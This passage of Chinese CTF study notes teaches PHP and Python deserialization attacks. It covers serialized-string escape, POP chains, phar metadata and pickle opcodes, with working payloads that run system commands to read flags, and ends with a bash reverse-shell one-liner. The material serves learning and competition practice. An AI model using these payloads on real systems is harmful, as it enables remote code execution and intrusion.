$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
?>
//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

两者运行效果是一样的

按照这题来说,以下代码:

1
2
3
4
5
6
7
8
<?php

$_SESSION["flagflag"]='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

echo serialize($_SESSION);

//a:2:{s:8:"flagflag";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而题中代码将flag替换成空,那么结果变为:

1
a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而序列化的时候,当内容被过滤为空时,会向后检查过滤掉字符的个数(这里是8)是否符合序列化条件,比如这里之后的;s:58:"",又以 ; 结尾,正好满足规则,所以学历化结果就是:

1
"s:117:"a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

发现成功变成了 s:8:"";s:58:"";

[BUUCTF在线评测](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) easy_serialize_php

现在来看题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这里我们只能控制fuction里的值,但是不能控制img里的值,(因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的)然而我们这样让他过滤了之后,就可以间接控制到img对应的值。

E.g:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-type:text/html;charset=utf-8");

echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

//string(76) "a:1:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

//string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

此时第二段中第一个}之后并未被丢弃,但是过滤之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
header("Content-type:text/html;charset=utf-8");

# echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
# var_dump( serialize($_SESSION));

# echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
# var_dump(serialize($_SESSION));

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

echo "没有黑名单过滤的反序列化后";
$test = serialize($_SESSION);
var_dump(unserialize($test));

echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";

echo "有黑名单过滤的反序列化后";
$test = filter(serialize($_SESSION));
var_dump(unserialize($test));
?>


//没有黑名单过滤的反序列化后array(2) { ["phpflag"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" }


//有黑名单过滤的反序列化后array(2) { ["";s:48:"]=> string(1) "1" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" }

发现}之后的就被舍弃了,留下了我们想要他读取的img值

所以最终 payload:

GET:?f=show_image

POST:_SESSION[‘flagflag’]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

上面image的值仅供参考

总结思想,其实就是利用过滤机制:

键1(过滤):值1 -> new键1

键2 -> new值1

值2(含构造的img)-> 键[‘img’] 然后后面跟上你要他访问的

原本的img因为成为多余字符了所以被丢弃

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]逃) 逃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

发现只能对key进行赋值,也是想到反序列化逃逸,但是我想不到()

然后我们看 s:9:”cat /flag”;} 和 s:6:”whoami”;}

传入

1
2
3
4
5
6
7
8
9
10
11
<?php

class GetFlag {
public $key = "\";s:3:\"cmd\";s:9:\"cat /flag\";}";
public $cmd = "whoami";
}

$a = new GetFlag();
echo serialize($a);

?>

变为:

1
O:7:"GetFlag":2:{s:3:"key";s:29:"";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}

这样的话被挤掉的 “;s:3:”cmd”;s:6:”whoami”;} 就有26个,然后whoami跟cat /flag比起来少了3个,那么我们就需要替换掉29个,即需要29个bad

所以payload:

1
"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

GC回收机制

然后一般中在题目中遇到以下,就可以利用GC回收机制来做:

1
throw new Exception("What are you dong ?");

在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

也就是在最后序列化前进行 $A=array($a,NULL);

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]More Fast) MoreFast

POP链:

1
Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil() 

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

class Start{
public $errMsg; // 5 Crypto
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj; // 2 Web
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func; // 3 Pwn
public function __get($var) {
($this->func)();
}
}

class Web{
public $func; // 1 system
public $var; // 1 cat /f*
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj; // 4 Reverse
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;

$b=array($s,0);
echo serialize($b);

?>

2025H&NCTF - 2025H&N::CTF ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

看到throw new Exception('What do you want to do?');,很明显的GC回收机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class GOGOGO {
public $dengchao;
}
class DouBao {
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei {
public $HongCaFei;
}

$h = new HeiCaFei();
$h->HongCaFei = 'system';

// 构造 DouBao 对象
$d = new DouBao();
$d->Dagongren = [1];
$d->Bagongren = [2];
$d->dao = [$h, 'ls /'];

// 构造 GOGOGO 对象
$g = new GOGOGO();
$g->dengchao = $d;

$A = array($g,0); //

echo serialize($A);
?>

//a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:1;i:0;}

然后将i:1改成i:0

data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:0;}

Phar反序列化

[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客

php -d phar.readonly=0 class5.php(核心出装)

phar反序列化+两道CTF例题_ctf phar-CSDN博客

php反序列化拓展攻击详解–phar-先知社区

浅析Phar反序列化 - FreeBuf网络安全行业门户

Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区

phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)

简介

phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。(官网)

总而言之就是像file://或者data://这种流包装器,phar可以让多个文件归档到同一个文件,在不经过解压的情况下被php访问并执行

标识
  • 必须以__HALT_COMPILER();?>来结尾
  • 本质上是压缩文件,以序列化的形式储存在用户自定义的meta-data

漏洞利用条件
  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且 : / phar 等特殊字符没有被过滤

phar生成

注意php.ini中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

<?php
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //(根据题目来)触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>


绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用 compress.bzip2://compress.zlib:// 等绕过

1
2
3
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其它协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar

禁用了<?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Check{  //检查文件内容是否有<?
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}
...
...
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!"); //通过"GIF89a" . "< language='php'>__HALT_COMPILER();</>"绕waf

GIF格式验证可以通过在文件头部添加 GIF89a 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->data='hello L1n!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
其他利用(sql)

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

MySQL

LOAD DATA LOCAL INFILE也会触发phar造成反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestObject {
function __destruct()
{
echo $this->data;
echo 'Destruct called';
}
}
// $filename = 'compress.zlib://phar://phar.phar/test.txt';
// file_get_contents($filename);
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

//执行一条 LOAD DATA LOCAL INFILE 语句,从 phar://phar.phar/test.txt 文件中加载数据到 "users" 表中,指定行终止符为 \r\n,忽略第一行数据。
?>
例题

国城杯 线下赛 web wp - LamentXU - 博客园

SWPU 2018]SimplePHP | NSSCTF

[SUCTF-2019/Web/Upload Labs 2 at master · team-su/SUCTF-2019](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)


ezphar

1


bypass

[NSSRound#4 SWPU]1zweb | NSSCTF

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
?>

修复签名:(修改了类型数量)

1
2
3
4
5
6
7
8
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

kali自带gzip压缩后更改为白名单后缀上传

访问phar://upload/3.png


Pickle反序列化

pickle反序列化漏洞基础知识与绕过简析-先知社区

CTF题型 Python中pickle反序列化进阶利用&amp;例题&amp;opache绕过_python pickle ctf-CSDN博客

pickle反序列化初探-先知社区

CTF-python pickle反序列化 - sijidou - 博客园

简介

pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell.

前置知识

python对象

在python中,对象的概念十分广泛.

对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。

一个Python对象通常包含以下部分:

  1. 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份
  2. 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型
  3. 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列
  4. 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息
  5. 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作
Python面向对象

python是一门面向对象的语言.也正因为python面向对象的特性,使得我们有更加丰富的选择进行绕过

在Python中,面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php不同

python中用.调用实例的属性和方法

python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__魔术方法.调用类属性的方法是类名.变量名或者self.__class__.变量名

同样地,python的面向对象也有私有属性,私有方法,类的继承等

关于序列化和反序列化的函数
  1. pickle.dump()
  2. pickle.load()
  3. pickle.dumps()
  4. pickle.loads()

p = pickle.loads(urllib.unquote(become))

1
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一

个类,类里面的 __reduce__ python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:

pickle.dump(obj, file, [,protocol])

1
2
3
4
5
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.load(file)

1
2
3
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。

pickle.dumps(obj[, protocol])

1
2
3
4
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

1
2
3
4
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
python魔术方法

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__

pickle.loads()会在反序列化一个实例时自动引入没有引入的库

构造方法__new__

  • 在实例化一个类时自动被调用,是类的构造方法
  • 可以通过重写__new__自定义类的实例化过程

初始化方法__init__

  • __new__方法之后被调用,主要负责定义类的属性,以初始化实例

析构方法__del__

  • 在实例将被销毁时调用
  • 只在实例的所有调用结束后才会被调用
1
__getattr__
  • 获取不存在的对象属性时被触发
  • 存在返回值
1
__setattr__
  • 设置对象成员值的时候触发
  • 传入一个self,一个要设置的属性名称,一个属性的值
1
__repr__
  • 在实例被传入repr()时被调用
  • 必须返回字符串
1
__call__
  • 把对象当作函数调用时触发
1
__len__
  • 被传入len()时调用
  • 返回一个整型
1
__str__
  • str(),format(),print()调用时调用,返回一个字符串

栈是一种存储数据的结构.栈有压栈和弹栈两种操作

可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹

什么是PVM

pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的

为什么要学习pickle?

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

语法

操作码 描述 具体写法 栈上的变化 memo 上的变化
c 获取一个全局对象或导入一个模块 c[module]n[instance]n 获得的对象入栈
o 寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于 co 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]n[callable]n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个 None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'n(也可以使用双引号、 等 Python 字符串形式) 获得的对象入栈
V 实例化一个 UNICODE 字符串对象 Vxxxn 获得的对象入栈
I 实例化一个 int 对象 Ixxxn 获得的对象入栈
F 实例化一个 float 对象 Fx.xn 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值 .
( 向栈中压入一个 MARK 标记 ( MARK 标记入栈
t 寻找栈中的上一个 MARK,并组合之间的数据为元组 t MARK 标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个 MARK,并组合之间的数据为列表 l MARK 标记以及被组合的数据出栈,获得的对象入栈
\] 向栈中直接压入一个空列表 \] 空列表入栈
d 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对) d MARK 标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至 memo_n pnn 对象被储存
g 将 memo_n 的对象压栈 gnn 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈

例如:

1
2
3
4
payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''

解释:

  1. ( :向栈中压入一个 MARK 标记
  2. cos:导入 os 模块
  3. system:获取 os.system 函数并压栈
  4. S'cat /f* > /tmp/a':将字符串 'cat /f* > /tmp/a' 压栈
  5. o.:寻找栈中的上一个 MARK,以之间的第一个数据(os.system 函数)为 callable,第二个数据(字符串)为参数,执行该函数。. 表示程序结束,栈顶的一个元素作为 pickle.loads() 的返回值

1:栈的初始状态

1
2
栈底
└── MARK (由 '(' 操作码压入)

2:导入 os 模块

1
2
3
栈底
└── MARK
└── os模块 (由 'cos' 操作码压入)

3:获取 os.system 函数

1
2
3
4
栈底
└── MARK
└── os模块
└── os.system函数 (由 'system' 操作码压入)

4:压入命令字符串

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串 (由 'S' 操作码压入)

5:调用 os.system 函数

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串

执行 o 操作码后,os.system 函数被调用,参数为 'cat /f* > /tmp/a'。栈中的 MARKos模块os.system函数 和命令字符串都被弹出,函数的返回值(如果有的话)会被压入栈

6:结束序列化

1
2
栈底
└── 函数返回值 (假设为 None)

执行 . 操作码后,序列化过程结束,栈顶的值(None)作为 pickle.loads() 的返回值

也可以使用以下代码片段来生成Pickle序列化:

1
2
3
4
5
6
7
8
9
10
import pickle

class Payload:
def __reduce__(self):
import os
return (os.system, ('cat /f* > /tmp/a',))

payload = Payload()
serialized_payload = pickle.dumps(payload)
print(serialized_payload)

也可以将Pickle的代码变得可读起来(并非好读):

1
2
3
4
5
6
7
8
9
import pickletools

opcode = b'''c__main__
miHoYo
(S'miHoYo'
S'Honkai StarRail'
db.'''

pickletools.dis(opcode)

db.:

  • d 操作码:从栈中弹出键值对('secret''Hack!!!'),构建一个字典 {'secret': 'Hack!!!'},并将其压入栈
  • b 操作码:弹出栈顶的字典和前面的对象(假设是通过 c__main__ 导入的 secret 对象),将字典中的属性绑定到对象上。即为 secret 对象添加一个属性 'secret',其值为 'Hack!!!'
  • . 操作码:结束反序列化过程

利用

覆盖变量

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickletools
import pickle

class miHoYo:
def __init__(self,name):
self.name = name

m = miHoYo("Genshin Impact")

print(m.name)

opcode = b'''c__main__
m
(S'name'
S'Honkai StarRail'
db.'''

pickle.loads(opcode)
print(m.name)

#pickletools.dis(opcode)

输出星穹铁道即代表成功覆盖了变量

1
2
3
4
5
6
7
opcode=b"""c__main__
m#向栈中压入被实例化的m
(S'name'#压入一个MARK,再压入一个'name'字符串
S'Honkai StarRail'#压入一个ghd
db."""
#d操作符弹出'name'和ghd,压入一个字典{name:Honkai StarRail}
#b操作符弹出字典,并用字典中的键值对{name:Honkai StarRail}给s赋值(相当于执行了s的__init__),完成了篡改
RCE

相关的就是 c,R,o,i,b这几个操作符

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

R :(R 操作符用于构建对象)

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

tR:其中 t 表示元组(tuple),R 表示调用 os.system 函数,并将字符串 'whoami' 作为参数传递给它

1
2
3
4
5
6
cos
system #用c操作符引入os.system,也就是把os.system压入栈
(S'ls' #先把MARK压入栈,再把ls压入栈
tR. #t操作符把ls出栈,元组(ls)入栈
#R操作符把元组作为os.system的参数传入并执行
<=> __import__('os').system(*('ls',))

i

1
2
3
4
b'''(S'whoami'
ios
system
.'''

i像是oc的结合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

o

1
2
3
4
b'''(cos
system
S'whoami'
o.'''
实例化对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

#miHoYo 114514

例题

[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web2]ikun) ikun

要买到lv6,然而当前页面上没有lv6,就循环爆破出有 lv6.png 的页面

1
2
3
4
5
6
7
8
9
import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
# print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break

发现之后抓包改折扣,购买完之后发现只允许admin访问,然后看到使用了JWT

爆破key,发现密码是 1Kun

username改成admin后构造再访问,然后给了代码审计,发现用了pickle.loads(),直接打pickle反序列化即可

1
2
3
4
5
6
7
8
9
10
import pickle
from urllib.parse import quote

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = quote(a)
print(a)

反弹shell

nc -lvp 9999

nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

1
2
3
-l 监听模式,用于入站连接
-v 详细输出--用两个-v可得到更详细的内容
-p port 本地端口号

bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

bash -i代表在本地打开一个bash

&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出

————————————————

